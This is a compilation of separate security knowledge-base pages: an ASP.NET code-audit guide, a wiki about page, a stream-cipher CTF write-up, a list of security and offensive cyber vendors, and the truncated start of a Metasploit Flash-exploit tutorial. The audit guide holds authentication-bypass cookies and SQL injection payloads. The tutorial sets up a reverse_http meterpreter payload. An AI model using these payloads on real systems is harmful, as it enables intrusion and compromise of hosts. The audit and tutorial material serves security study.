- [aleenzz/.NET_study](https://github.com/aleenzz/.NET_study)
**案例**
- [越权漏洞反打钓鱼网站](https://www.t00ls.net/articles-58941.html)
---
## 反编译
**反编译工具**
- [dnSpy/dnSpy](https://github.com/dnSpy/dnSpy)
- [dnSpyEx/dnSpy](https://github.com/dnSpyEx/dnSpy)
- [icsharpcode/ILSpy](https://github.com/icsharpcode/ILSpy)
---
## 简介
ASP.NET 开发可以选用两种框架:`ASP.NET Core` 与 `ASP.NET Framework`
ASP.NET 开发也分为两种:
**WebApplication**
WEB 应用程序,改变代码后需要重启网页。具有 namespace 空间名称,项目中所有的程序代码文件,和独立的文件都被编译成为一个程序集,保存在 bin 文件夹中。
**WebSite**
WEB 网站,改变代码后不用重启网页。它没用到 namespace 空间名称,每个 asp 页面会转成一个 dll。
### ASP.NET 的常见拓展名:
在 `%windir%\Microsoft.NET\Framework\v2.0.50727\CONFIG\web.config` 中有详细定义
- aspx:应用程序根目录或子目录,包含 web 控件与其他
- cs:类文件
- aspx.cs:web 窗体后台程序代码文件
- ascx:应用程序根目录或子目录, Web 用户控件文件。
- asmx:应用程序根目录或子目录,该文件包含通过 SOAP 方式可用于其他 Web 应用程序的类和方法。
- asax:应用程序根目录,通常是 Global.asax
- config:应用程序根目录或子目录,通常是 web.config
- ashx:应用程序根目录或子目录, 该文件包含实现 IHttpHandler 接口以处理所有传入请求的代码。
- soap: 应用程序根目录或子目录。soap 拓展文件
### 常见文件
**web.config**
1. web.config 是基于 XML 的文件,可以保存到 Web 应用程序中的任何目录中,这个文件包含了目录权限控制、数据库密码等等。
2. 加载方式:当前目录搜索 -> 上一级到根目录 -> `%windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/web.config` -> `%windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/machine.config` -> 都不存在返回 null
**Global.asax**
1. Global.asax 提供全局可用的代码,从 HttpApplication 基类派生的类,响应的是应用程序级别会话级别事件,通常 ASP.NET 的全局过滤代码就是在这里面。
**App_Data**
App_Data文件夹包含应用程序的本地数据存储
**bin**
包含应用程序所需的任何预生成的程序集
WEB 应用程序会把我们写的代码编译为 DLL 文件存放在 Bin 文件夹中,在 ASPX 中基本就是一些控件名,所以需要反编译他的 DLL 来进行审计。
例如 Logout.aspx
```c#
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Logout.aspx.cs" Inherits="Book.Logout" %>
```
在文件头中有这几个参数:
* Language="C#" 表示脚本语言
* AutoEventWireup="true" 表示是否自动关联某些特殊事件
* CodeBehind="Logout.aspx.cs" 表示指定包含与页关联的类的已编译文件的名称
* Inherits="Book.Logout" 表示定义供页继承的代码隐藏类
我们所关注的也就是 Inherits 的值,如上所示他指向了 Bin 目录下某个 dll 中 Book 类的 Logout 函数
---
## dotnet代码审计
### 逻辑漏洞
**ASP.NET 安全认证**
在 web.config 中有四种验证模式
* window - IIS 验证,在内联网环境中非常有用
* Passport - 微软集中式身份验证,一次登录便可访问所有成员站点,需要收费
* Form - 窗体验证,验证帐号 / 密码,Web 编程最佳最流行的验证方式
* None - 表示 ASP.NET 自己根本不执行身份验证,完全依赖 IIS 身份验证
开启 form 窗体验证的同时还需要配置 web.config,不然就会出现问题,一般来说还需要配置最基本的页面访问权限, 比如禁止匿名用户访问。
```ini
<system.web>
<authorization>
<deny users="?"/>
</authorization>
</system.web>
```
当然还可以设置一些管理页面允许某某用户访问等等
除去web.config的配置通常还有两种写法来验证是否登陆。
第一种:在每个页面判断 `Session["UserName"]` 是否等于 null
第二种:类似 php 的 include 的继承,这也是本套程序使用的方法。
如果是没有任何验证的,也没有继承验证类的,无需登陆访问,这种就相当于是未授权了.
**认证绕过示例**
web.config
```xml
<location path="purchase/orderdetail.aspx">
<system.web>
<authorization>
<allow users="*"/>
</authorization>
</system.web>
</location>
<authentication mode="Forms" />
```
这里定义了 purchase/orderdetail.aspx 可以匿名访问 ,其中 `<authentication mode="Forms" />` 表示 Form 表单认证。
purchase/orderdetail.aspx
```c#
if (this.uid <= 0)
{
if (!(base.Request.QueryString["g"] == "p"))
{
base.Response.Redirect("../login.aspx");
return;
}
this.ph_pdf.Visible = false;
}
```
这里判断了参数 g
所以只需要访问 `purchase/orderdetail.aspx?g=p` 即可绕过跳转
**认证绕过示例2**
在 23-26 行判断 `this.uid` 的值来进行跳转,在 16 行定义了他的值,跟进 `UserHelper.GetUserId`
```c#
public static int GetUserId
{
get
{
if (Helper.IsUseAd && HttpContext.Current.Request.Cookies["userinfo"] == null)
{
UsersHelper.LoginAd(UserHelper.GetSamaccountName());
}
if (HttpContext.Current.Request.Cookies["userinfo"] != null)
{
return int.Parse(HttpContext.Current.Request.Cookies["userinfo"]["userid"]);
}
return -1;
}
}
```
`this.uid` 等于 cookies 中获取的 `userinfo` 的值,这一步可以伪造,30-33 这里他设置了管理员的布尔值,跟进 `RoleHelper.IsAdmin`
```c#
public static bool IsAdmin
{
get
{
string name = "IsAdmin";
string admin = RoleHelper.Admin;
bool? flag = HttpContext.Current.Session[name] as bool?;
if (flag == null)
{
flag = new bool?(UserHelper.IsInAnyRoles(admin));
HttpContext.Current.Session[name] = flag;
}
return flag.Value;
}
}
```
前面从 session 中获取,如果 flag 为 null 则从 `UserHelper.IsInAnyRoles(admin)` 获取。
跟进 `IsInAnyRoles`
可以看到只要我们传入的 cookies 中 roles 的等于传入的数组值就返回 true 其中 `public static string Admin = "administrators";`
所以构造 `cookies: userinfo=userid=1&roles=administrators;` 即可绕过认证
---
### 注入
**辅助工具**
* SQL Server Profiler
**漏洞示例1**
login.aspx
```c#
public void LoginForm()
{
int num = UsersHelper.Login(this.txt_username.Text, this.txt_pwd.Text);
if (num > 0)
{
base.Response.Redirect(FormsAuthentication.GetRedirectUrl(num.ToString(), true));
}
else
{
Helper.Result(this, "用户名或者密码错误");
}
}
```
UsersHelper.Login
```c#
public static int Login(string username, string password)
{
string sql = " select uid from users_users where username=@username and password=@password; ";
SqlParameter[] prams = new SqlParameter[]
{
new SqlParameter("@username", username),
new SqlParameter("@password", Helper.Encrypt(password))
};
object obj = Instance.ExeScalar(sql, prams);
if (obj == null || obj == DBNull.Value)
{
return -1;
}
int num = int.Parse(obj.ToString());
if (num > 0)
{
UsersHelper.Login(num);
}
return num;
}
```
注意,这里看上去像是存在注入,但其实使用采用了参数化查询,通过 SqlParameter 传递参数
search.aspx
这里没有做处理,直接将参数与 text 拼接,然后传递给 ExeDataSet
ExeDataSet 中对参数进行了 checkSql 但无任何处理,所以没有过滤,参数将被直接带入查询
> Payload: 1%' and 1=user--
**漏洞示例2**
看到 69-88 行,存在 SQL 查询, 但要触发执行命令需要 this.isview 为 true
在 30-36 行赋值只需要 t=view 即可
sid 没有经过任何过滤,同时 ExeDataSet 函数也不存在过滤,即存在注入。
> Payload: purchase/orderdetail.aspx?g=p&t=view&sid=1%20and%201=user--
---
### XSS
**相关文章**
- [Request Validation - Preventing Script Attacks](https://docs.microsoft.com/en-us/aspnet/whitepapers/request-validation)
**validateRequest**
在 asp.net 中我们插入 XSS 代码经常会遇到一个错误 `A potentially dangerous Request.Form`
这是因为在 aspx 文件头一般会定义一句 `<%@ Page validateRequest="true" %>` ,当然也可以在 web.config 中定义,值得注意的是 validateRequest 的值默认为 true , 所以通常情况下 asp.net 基本上是不存在 XSS 的, 除非程序员把他的值改变。
比如
```ini
<pages validateRequest="false" controlRenderingCompatibilityVersion="3.5" enableEventValidation="false">
<controls>
<add tagPrefix="pg" namespace="SiteUtils" assembly="DNHelper" />
<add tagPrefix="pop" namespace="EeekSoft.Web" assembly="EeekSoft.Web.PopupWin" />
<add tagPrefix="dnc" namespace="Dotnetcms.Controls" assembly="DNHelper" />
<add tagPrefix="DayPilot" namespace="DayPilot.Web.Ui" assembly="DotnetControl" />
</controls>
</pages>
```
---
### 文件上传
**分析案例**
```c#
private void SaveFile()
{
string text = "../uploads/" + DateTime.Now.ToString("yyyy-MM") + "/";
string text2 = HttpContext.Current.Server.MapPath(text);
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
HttpFileCollection files = HttpContext.Current.Request.Files;
string fileName = Path.GetFileName(files[0].FileName);
string extension = Path.GetExtension(files[0].FileName);
string text3 = Helper.ReadConfigValue(Helper.ReadConfigXml("~/app_data/allow_ext.xml"), "allow_ext").ToString().ToLower();
if (text3.Contains(extension.ToLower()))
{
string str = Guid.NewGuid().ToString() + extension;
string filename = text2 + str;
files[0].SaveAs(filename);
string s = string.Concat(new string[]
{
"{\"jsonrpc\" : \"2.0\", \"result\" :\"",
HttpContext.Current.Server.HtmlEncode(fileName),
"\", \"id\" : \"",
HttpContext.Current.Server.HtmlEncode(text + str),
"\"}"
});
HttpContext.Current.Response.Write(s);
}
}
```
文件名由 uploads + DateTime.Now.ToString("yyyy-MM") + Guid.NewGuid().ToString() + extension 组成
格式类似 `../uploads/2019-10/30777b5a-bd82-48eb-9104-24afffd97243.png`
所以能控制的只有 `extension`,他由 `Path.GetExtension` 直接获取文件后缀,但是 `ReadConfigXml` 读取 `~/app_data/allow_ext.xml` 的文件做比较,比较典型的白名单所以这里不存在任意文件上传。
allow_ext.xml
```xml
<?xml version="1.0" standalone="yes"?>
<PItems>
<PItem Name="allow_ext" Value=".rar.zip.jpg.png.gif.doc.docx.xls.xlsx.ppt.pptx.jpeg.pdf" />
</PItems>
```
---
### 反序列化
**相关工具**
- [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net)
|
sec-knowleage
|
---
title: 关于文库
---
<center><h1>关于文库</h1></center>
---
## 为什么搭建 T Wiki
`T Wiki` 是一个面向云安全方向的知识库,这一点是和其他文库最大的不同,也许这是国内第一个云安全知识文库?
在 `云服务` 板块可以看到在云服务方向的文章、笔记,在 `云原生` 板块可以看到在云原生方向的文章、笔记,在 `CF 使用手册` 板块里记录了云环境利用框架 CF 的使用,在 `云安全资源` 板块可以看到汇总的云安全资源,比如云安全相关的文章、公众号、工具、靶场等等。
我现在就职于某乙方安全创业公司,因为公司要做 CSPM 产品,所以我们需要学习了解大量云安全相关知识,在学习的过程中,我发现国内相关资料很少,所以就整理了一个云安全知识库,相信通过这些资料能够在一定程度上帮助想要学习或者正在学习云安全的人,**同时也欢迎读者一起来完善这个文库,从而帮助到更多的人,一起助力国内云安全的发展。**
如果你想一起补充这个文库,可以查看这里的说明:[补充文库说明](/About/Contribute.html)
## 我的个人微信公众号
下面这个是我的微信公众号,从 2017 年创建一直到现在,公众号里记录了我这些年的学习笔记,以后公众号会和文库同步更新,欢迎师傅赏个关注。
<div align=center><img width="600" src="/img/wechat.png"></div>
## 致谢
感谢`狼组安全团队公开知识库`和` PeiQi 文库`,是他们的文库给了我搭建的方向。
感谢`VuePress`和`AntDocs`,因为有这些优秀的项目,才有了这个文库。
最后当然还要感谢正在看文库的你 :heart:
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023 年 7 月 5 日"
}
}
</script>
|
sec-knowleage
|
## Crypto 50 (crypto, 50p)
### PL
[ENG](#eng-version)
Bardzo przyjemne (dla autora tego writeupa) zadanie. Dostajemy 10 tekstów zaszyfrowanych tym samym stream cipher (z tym samym IV/kluczem), i mamy za zadanie rozszyfrować 11.
Teksty w pliku [input.txt](input.txt)
Orientujemy się od razu, że to sytuacja podobna do tego gdy wszystkie teksty zostały zaszyfrowane tym samym one time padem. A na to są sposoby.
Oczywiście jeden sposób to napisanie masę skomplikowanego kodu bruteforcującego różne możliwości i wybierający najlepszy plaintext (np. taki który mieści sie w wymaganym charsecie). To rozwiązanie dobre do specjalistycznych zastosowań/mechanicznego łamania, ale my mamy znacznie _zabawniejszy_ sposób, do zapisania w kilkunastu linijkach pythona:
dat = open('input.txt').readlines()
dat = [x.strip().decode('hex') for x in dat]
def xor(a, b):
return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))
def interactive_hack(xored):
while True:
print ">",
i = raw_input()
for x in xored:
print " -> ", xor(i, x)
xored = [xor(dat[0], d) for d in dat[1:]]
interactive_hack(xored)
I tyle. Co nam to daje? Otóż możemy zgadywać w ten sposób hasło "interaktywnie" - Na przykład jest spore prawdopodobieństwo że któryś z plaintextów zaczyna się od "You" - spróbujmy więc:
> You
-> {&j&
-> nn`h
-> nnl;
-> {&v<
-> {&v<
-> sh%)
-> s`)h
-> {hj<
-> xok)
-> mn`&
Meh. To może "The "?
> The
-> v!z&
-> ciph
-> ci|;
-> v!f<
-> v!f<
-> ~o5)
-> ~g9h
-> voz<
-> uh{)
-> `ip&
Strzał w dziesiątkę. Widać początek słowa "cipher", więc próbujemy:
> cipher
-> A one-'
-> The ke*
-> This m2
-> A stre2
-> A stre2
-> In a s*
-> If, ho$
-> Anothe!
-> Binarys
-> When u
Ostatni znak nie ma sensu nigdzie, więc podejrzewamy że to jednak miało być inne słowo (np. ciphers). Ale idziemy dalej, i tak aż do końca:

Flaga: `When using a stream cipher, never use the key more than once!`
### ENG version
Very nice (at least for the auther of the writeup) task. We get 10 ciphertexts encoded with the same stream cipher (with the same IV and key) and we have to decode 11th.
Input texts in [input.txt](input.txt)
We realise that this is a similar case to encoding all the texts with the same one time pad. But this can be handled.
Of course we could have written a lot of complex brute-force code testing multiple possibilities and choosing the best plaintext (eg. the one that fits into selected charset). This is a good task for automatic code breaking, but we came up with a more `fun` idea, which could have been written in just few lines of code:
dat = open('input.txt').readlines()
dat = [x.strip().decode('hex') for x in dat]
def xor(a, b):
return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))
def interactive_hack(xored):
while True:
print ">",
i = raw_input()
for x in xored:
print " -> ", xor(i, x)
xored = [xor(dat[0], d) for d in dat[1:]]
interactive_hack(xored)
And that's it. What does it give us? We can try to break the code in an "interactive" way. We just try to guess the begining of one of the plaintexts - we assume that there is possibility that it starts with "You" so we try:
> You
-> {&j&
-> nn`h
-> nnl;
-> {&v<
-> {&v<
-> sh%)
-> s`)h
-> {hj<
-> xok)
-> mn`&
Not this time, so maybe "The "?
> The
-> v!z&
-> ciph
-> ci|;
-> v!f<
-> v!f<
-> ~o5)
-> ~g9h
-> voz<
-> uh{)
-> `ip&
Bingo! We can see a "ciph" word prefix so we try "cipher":
> cipher
-> A one-'
-> The ke*
-> This m2
-> A stre2
-> A stre2
-> In a s*
-> If, ho$
-> Anothe!
-> Binarys
-> When u
Last character does not make sense so we assume this must be a different word (eg. ciphers). We proceed until the end:

Flaga: `When using a stream cipher, never use the key more than once!`
|
sec-knowleage
|
# 国内外安全公司·整合
## Part1
该部分转载自:[threat-intelligence](https://github.com/NewBee119/threat-intelligence)[2],偏向于对提供威胁情报服务的公司
### 综合类咨询
<https://www.hackread.com/hacking-news/> 科学上网,多为一些比较新鲜的安全咨询
<https://github.com/kbandla/APTnotes> 收集了从2008年到最近的APT事件,有人维护
<https://badcyber.com> 一群想要成为研究员的人和记者维护的网站,每个月都会收集几次与网络安全相关的咨询
<http://securityaffairs.co/wordpress/> 主打信息安全咨询的一家国外公司,主题分类很全面
<http://cysinfo.com/category/articles/> 是一个开放的网络安全社区维护的博客,包含安全沙龙,培训,以及技术分享
<https://citizenlab.ca/category/research/> 加拿大公民实验室,对数字间谍比较感兴趣
<https://www.secureworks.com/blog/> 全球提供安全解决方案的领导者(DELL的安全团队),博客中的内容比较宏观
<https://www.welivesecurity.com/> 类似国内的Freebuf,偏向于咨询类
<https://osandamalith.com/> 主要专注于安全技术和逆向技术
<https://security.googleblog.com/> 见名字,不解释
### 云安全类
<https://www.zscaler.com/blogs/research> 提供云服务安全的公司
### 工控安全类
<https://cyberx-labs.com/en/category/blog/> 一家做工控和物联网的公司,其产品支持所有的工控协议,技术先进
<https://www.dragos.com/blog.html> 一家做工控安全的公司,它的口号是,Superheroes Don’t do Infrastructure,That’s why we’re here
<http://blog.senr.io/> 一家专做嵌入式、IoT设备安全的公司
<https://embedi.com/blog> 才成立的一家做嵌入式设备安全的公司
<https://preossec.com/blog/> 一家专做设备固件安全分析的公司
### 终端安全类
<https://www.cybereason.com/blog/> 国外一家做安全的公司提供的博客,主要做终端安全
<https://www.cylance.com/en_us/home.html> 一家主要做企业终端安全的公司
### 移动安全类
<https://blog.lookout.com> 一家主要做移动手机安全的公司
### 威胁情报类
<https://www.recordedfuture.com/blog/> 一家专注做威胁情报的公司,利用机器学习等技术广泛地收集公开的和隐蔽的威胁情报
<https://www.threatconnect.com/blog/> 国外一家做威胁发现,风险评估公司维护的安全博客
<http://blog.jpcert.or.jp/> 日本的一家做应急响应的公司
<http://www.clearskysec.com/blog/> 国外的一家只提供安全服务的公司,大多数文章都会提供IOC
<https://www.proofpoint.com/us/threat-insight> 美国的一家做安全咨询类的公司,文章质量比较高
<http://www.pwc.co.uk/issues/cyber-security-data-privacy.html> 英国的一家做网络安全的公司,主打威胁情报,数据隐私保护,应急响应
<https://www.alienvault.com/blogs/labs-research> 著名的威胁情报社区
<https://www.malwarepatrol.net/onpatrol4malware-blog/> 提供安全咨询与威胁情报
### 传统安全类
<https://securelist.com/> 卡巴斯基维护的信息安全类咨询,多是样本分析类文章
<https://blogs.technet.microsoft.com/mmpc/> 微软恶意软件防护中心提供的安全事件博客
<https://www.fireeye.com/blog/threat-research.html> fireeye提供的网络威胁博客,博客质量高,内容详细
<http://baesystemsai.blogspot.co.uk/> 英国的一家做安全检测,威胁发现的公司,产品线比较全面,规模较大
<https://researchcenter.paloaltonetworks.com> 一家做下一代网络安全的国外公司,产品线比较全面
<https://www.kaspersky.com/blog/> 卡巴斯基实验室维护的安全博客
<https://www.arbornetworks.com/blog/asert/> 主打DDOS防御的公司,需要翻墙
<https://securingtomorrow.mcafee.com/mcafee-labs> Mcafee安全实验室维护的博客
<https://heimdalsecurity.com/blog/posts/> 做数字资产和数字信息保护的公司
<https://blog.checkpoint.com/> 全球领先的专注做网络安全的公司,公司网站居然是粉色系
<https://labs.bitdefender.com/blog/> 大名鼎鼎的传统杀软厂商
<https://www.paloaltonetworks.com/resources> 做云安全,下一代防火墙的安全厂商
<https://blogs.cisco.com/talos> 思科Talos团队(牛X团队)维护的安全威胁类博客
<https://blog.talosintelligence.com/> 还是Talos
<https://aws.amazon.com/cn/blogs/security/> 亚马逊的安全博客
<https://www.imperva.com/blog/> 信息安全公司,产品覆盖很全面,如DDoS,数据安全,云安全等
<http://blog.trendmicro.com/> 趋势科技安全博客发布
<https://blog.fortinet.com/category/security-research> 全球网络安全设备提供商
<https://www.icebrg.io/blog> 一家专注于网络流量安全分析的创业公司
<http://www.intezer.com/blog/> 宣称将人体免疫系统的概念引入到网络安全检测中
<https://www.forcepoint.com/blog> 做云安全,网络安全等的一家综合型公司
<https://www.crowdstrike.com/blog/category/threat-intel-research/> 一家提供安全服务的综合型公司
<https://cofense.com/blog/> 从对抗钓鱼网站开始,到提供商业安全解决方案
<https://www.symantec.com/connect/symantec-blogs/symantec-security-response> 老牌安全公司赛门铁克
<https://www.carbonblack.com/blog/> 大数据安全,从数据分析的角度解决安全问题
## Part 2
### 攻击类
转载自:全球进攻性私营安全公司列表(基于开源)[1]
| **名称** | **国家** | **成立** | **状态** | **开源情报参考** |
| ------------------------------------------------------------ | ------------------------------------------------------------ | -------- | ---------------------------------------- | ------------------------------------------------------------ |
| Ability | Israel | – | – | [WikiLeaks](https://en.wikipedia.org/wiki/Cyber-arms_industry) |
| Amesys | France | 2008 | Ceased | [WikiLeaks](https://wikileaks.org/spyfiles/document/amesys/94_casper-t-wi-fi-network-interception/94_casper-t-wi-fi-network-interception.pdf) |
| Azimuth Security | Australia | 2010 | Active | [Vice, Motherboard](https://www.vice.com/en/article/8xdayg/iphone-zero-days-inside-azimuth-security) |
| Birmingham Cyber Arms | UK | 2019 | Ceased | [Wikipedia](https://en.wikipedia.org/wiki/Cyber-arms_industry) |
| Cambridge Consultants | UK | 1960 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/cambridge-consultants/CAMBRIDGECONSULTANTS-2011-SmalCellBase-en/CAMBRIDGECONSULTANTS-2011-SmalCellBase-en.pdf) |
| Candiru | Israel | 2014 | Ceased (succeeded by DF Associates Ltd.) | [Wikipedia](https://en.wikipedia.org/wiki/Candiru_(spyware_company)) |
| Cellebrite | Israel | 1999 | Active | [Wikipedia](https://en.wikipedia.org/wiki/Cellebrite) |
| Circles | Israel | 2008 | Merged (with NSO Group) | [CitizenLab](https://citizenlab.ca/2020/12/running-in-circles-uncovering-the-clients-of-cyberespionage-firm-circles/) |
| ClearTrail | India | 2001 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/cleartrail/CLEARTRAIL-2011-Intemonisuit-en/CLEARTRAIL-2011-Intemonisuit-en.pdf) |
| Crowdfense | UAE | 2017 | Active | [WIRED](https://www.wired.com/story/untold-history-americas-zero-day-market/) |
| CyberOne Group | Vietnam | 2014 | Ceased | [Reuters](https://www.reuters.com/article/facebook-vietnam-cyber-idCAKBN28L03Y) |
| CyberPoint | USA | 2015 | Active | [Wikipedia](https://en.wikipedia.org/wiki/DarkMatter_(Emirati_company)) |
| DarkMatter Group | UAE | 2014 | Active | [Wikipedia](https://en.wikipedia.org/wiki/DarkMatter_(Emirati_company)) |
| DF Associates Ltd. | Israel | 2017 | Ceased (succeeded by Grindavik) | [CitizenLab](https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/) |
| Dialogic | USA | 2008 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/dialogic/7_high-performance-signaling-in-gathering-intelligence-form/7_high-performance-signaling-in-gathering-intelligence-form.pdf) |
| DigiTask | Germany | – | Unknown | [WikiLeaks](https://wikileaks.org/spyfiles/document/digitask/46_remote-forensic-software/46_remote-forensic-software.pdf) |
| Dreamlab Technologies AG | Switzerland | 1997 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/dreamlab/DREAMLAB-2010-OMSystManu-en/DREAMLAB-2010-OMSystManu-en.pdf) |
| Elaman | Germany | – | Active | [Privacy Intl.](https://privacyinternational.org/blog/1540/elaman-and-gamma-whats-selling-and-whos-buying-indonesia) |
| ELTA Systems Ltd. | Israel | 1967 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/elta/203_cellular-and-satellite-passive-off-the-air-lawful/203_cellular-and-satellite-passive-off-the-air-lawful.pdf) |
| Emen Net Pasargad | Iran | – | Active | [Treadstone 71](https://cybershafarat.com/2021/01/18/iranian-cyber-company-emen-net-pasargad-eeleyanet-gostar-to-carry-out-cyber-operation-against-the-united-states/) |
| Endgame Systems | USA | 2008 | Active | [Krebs on Security](https://krebsonsecurity.com/2013/12/how-many-zero-days-hit-you-today/) |
| Equus Technologies | Israel | 2015 | Ceased | [WIRED](https://www.vice.com/en/article/evdebz/google-revealed-an-israeli-spyware-company-that-has-quietly-sold-its-wares-for-years) |
| Exodus Intelligence | USA | 2012 | Active | [TechDirt](https://www.techdirt.com/articles/20210918/14570047587/american-malware-purveyor-that-did-nothing-to-limit-misuse-now-horrified-to-find-govt-india-misused-products.shtml) |
| Fox-IT | Netherlands | 1999 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/foxit/282_foxreplay-personal-workstation-portable-interception/282_foxreplay-personal-workstation-portable-interception.pdf) |
| Gamma Group | Germany | 1990 | Active | [Wikipedia](https://en.wikipedia.org/wiki/Gamma_Group) |
| Glimmerglass Networks | USA | 2000 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/glimmerglass/55_glimmerglass-cybersweep/55_glimmerglass-cybersweep.pdf) |
| Go Root | Germany | 2017 | Ceased | [MarketResearchTelecast](https://marketresearchtelecast.com/how-a-berlin-start-up-wanted-to-conduct-cyber-war-more-ethically-and-failed/92578/) |
| Grindavik Solutions | Israel | 2018 | Ceased (succeeded by Taveta Ltd.) | [CitizenLab](https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/) |
| Grugq | Thailand | – | Ceased | [WIRED](https://www.wired.com/story/untold-history-americas-zero-day-market/) |
| Hacking Team | Italy | 2003 | Ceased (succeeded by Memento Labs) | [Wikipedia](https://en.wikipedia.org/wiki/Hacking_Team) |
| iDefense | USA | 1998 | Ceased | [Krebs on Security](https://krebsonsecurity.com/2013/12/how-many-zero-days-hit-you-today/) |
| Incredity Intel | Germany | 2019 | Active | [IntelligenceOnline](https://www.intelligenceonline.com/surveillance--interception/2020/10/15/israeli-german-zero-day-vulnerabilities-broker-firm-incredity-offers-huawei-bug-bounty,109614153-art) |
| Innefu Labs Pvt. Ltd | India | 2010 | Active | [Amnesty](https://www.amnesty.org/en/documents/afr57/4756/2021/en/) |
| InformInvestGroup CJSC | Russia | 2017 | Active | [ZDNet](https://www.zdnet.com/article/hackers-breach-fsb-contractor-and-leak-details-about-iot-hacking-project/) |
| IPS Intelligence | Italy | 2000 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/ips/146_ips-visionary-intelligence/146_ips-visionary-intelligence.pdf) |
| Jimmy Sabien | USA | – | Unknown | [WIRED](https://www.wired.com/story/untold-history-americas-zero-day-market/) |
| Kyrus Tech | USA | 2009 | Active | [LinkedIn](https://www.linkedin.com/company/kyr-us/about/) |
| Lench IT Solutions (FinFisher) | UK | 1990 | Active | [Wikipedia](https://en.wikipedia.org/wiki/FinFisher) |
| ManTech International | USA | 1968 | Active | [Vice, Motherboard](https://www.vice.com/en/article/kbzz9v/how-an-fbi-informant-helped-orchestrate-the-hack-of-an-fbi-contractor) |
| Memento Labs | Italy | 2019 | Active | [Vice, Motherboard](https://www.vice.com/en/article/xgq3qd/memento-labs-the-reborn-hacking-team-is-struggling) |
| Netragard, Inc | USA | 2006 | Active | [LIFARS](https://lifars.com/2021/01/current-state-of-zero-day-exploit-market/) |
| NICE | Israel | 1986 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/nice/NICE-2011-NiceHoriInsi-en/NICE-2011-NiceHoriInsi-en.pdf) |
| NSO Group | Israel | 2010 | Active | [Wikipedia](https://en.wikipedia.org/wiki/NSO_Group) |
| ODT (Oday) LLC | Russia | – | Unknown | [ZDNet](https://www.zdnet.com/article/hackers-breach-fsb-contractor-and-leak-details-about-iot-hacking-project/) |
| Paragon | USA | 2016 | Active | [Schneier.com](https://www.schneier.com/blog/archives/2021/08/paragon-yet-another-cyberweapons-arms-manufacturer.html) |
| Quantum Research Institute | Russia | – | Unknown | [BBC](https://www.bbc.com/russian/features-46621322) |
| Q-Recon | Israel | 2018 | Ceased | [Black Hat USA](https://www.blackhat.com/us-19/briefings/schedule/) |
| ReVuln | Malta | 2012 | Active | [Krebs on Security](https://krebsonsecurity.com/2013/12/how-many-zero-days-hit-you-today/) |
| Roke Manor Research | UK | 1956 | Active | [WikiLeaks](https://wikileaks.org/spyfiles/document/roke-manor-research/ROKEMANOR-2011-CounThreSurv-en/ROKEMANOR-2011-CounThreSurv-en.pdf) |
| Root9b | USA | 2011 | Ceased (acquired by Deloitte) | [Gazette](https://gazette.com/business/root9b-wins-army-cybersecurity-training-contract/article_0450b918-7efd-11e8-bc96-ebf6e5471e4d.html) |
| Saito Tech Ltd. | Israel | 2020 | Active | [CitizenLab](https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/) |
| Syndis | Iceland | 2013 | Active | [DarkReading](https://www.darkreading.com/vulnerabilities-threats/exodus-intelligence-teams-with-syndis-for-zero-day-service-offering) |
| SyTech | Russia | – | – | [ZDNet](https://www.zdnet.com/article/hackers-breach-fsb-contractor-expose-tor-deanonymization-project/) |
| Taveta Ltd. | Israel | 2019 | Ceased (succeeded by Saito Tech Ltd.) | [CitizenLab](https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/) |
| Vupen | France | 2004 | Ceased (succeeded by Zerodium) | [Wikipedia](https://en.wikipedia.org/wiki/Vupen) |
| WiSpear | Cyprus | 2013 | Active | [CyberScoop](https://www.cyberscoop.com/wispear-wifi-interception-israel-unit-8200/) |
| Zerodium | USA | 2015 | Active | [Wikipedia](https://en.wikipedia.org/wiki/Zerodium) |
| Zeronomicom | Italy | 2016 | Active | [LIFARS](https://lifars.com/2021/01/current-state-of-zero-day-exploit-market/) |
| ZeroDay Technology | USA | – | Active | [LIFARS](https://lifars.com/2021/01/current-state-of-zero-day-exploit-market/) |
| | | | | |
| 全球所有参与国家性进攻性网络行动的公开私营公司的集合。他们中的大多数都通过提供诸如软件植入和入侵(例如:零日漏洞利用、漏洞利用框架、安全绕过技术、通信拦截产品等)等功能而参与其中。 | 免责声明:本篇不涉及泄露任何敏感或机密信息,单纯汇总网络已公开可用的开源信息。这就是为什么所有条目都有一个OSINT开源参考信息,该参考信息明确提到该私营公司与该业务有关。 | | | 10月18日2021年 |
## References
\[1] 全球进攻性私营安全公司列表(基于开源),红数位,https://mp.weixin.qq.com/s/mje4LkRmCAyJlYUeGjVyAg
[2] threat-intelligence, [NewBee119](https://github.com/NewBee119/threat-intelligence/commits?author=NewBee119),https://github.com/NewBee119/threat-intelligence
|
sec-knowleage
|
# 0x00 简介
MSF内部集成很多模块,我这里用的一个flash漏洞模块adobe_flash_hacking_team_uaf 然后把会话给CS 这篇文章的内容很早就在[油管](https://www.youtube.com/watch?v=fnCLdPOmZOk)上就有了,所以手法不是很超前,但是写出来也是提供一个思路,让大家发挥。
# 0x01 过程
### 环境:
攻击机:kali
目标机:win7
flash版本:flashplayer14_0r0_125_winax
首先我们启动msf 配置我们的payload

```
msf > use exploit/multi/browser/adobe_flash_hacking_team_uaf
msf exploit(multi/browser/adobe_flash_hacking_team_uaf) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(multi/browser/adobe_flash_hacking_team_uaf) > set DisablePayloadHandler true
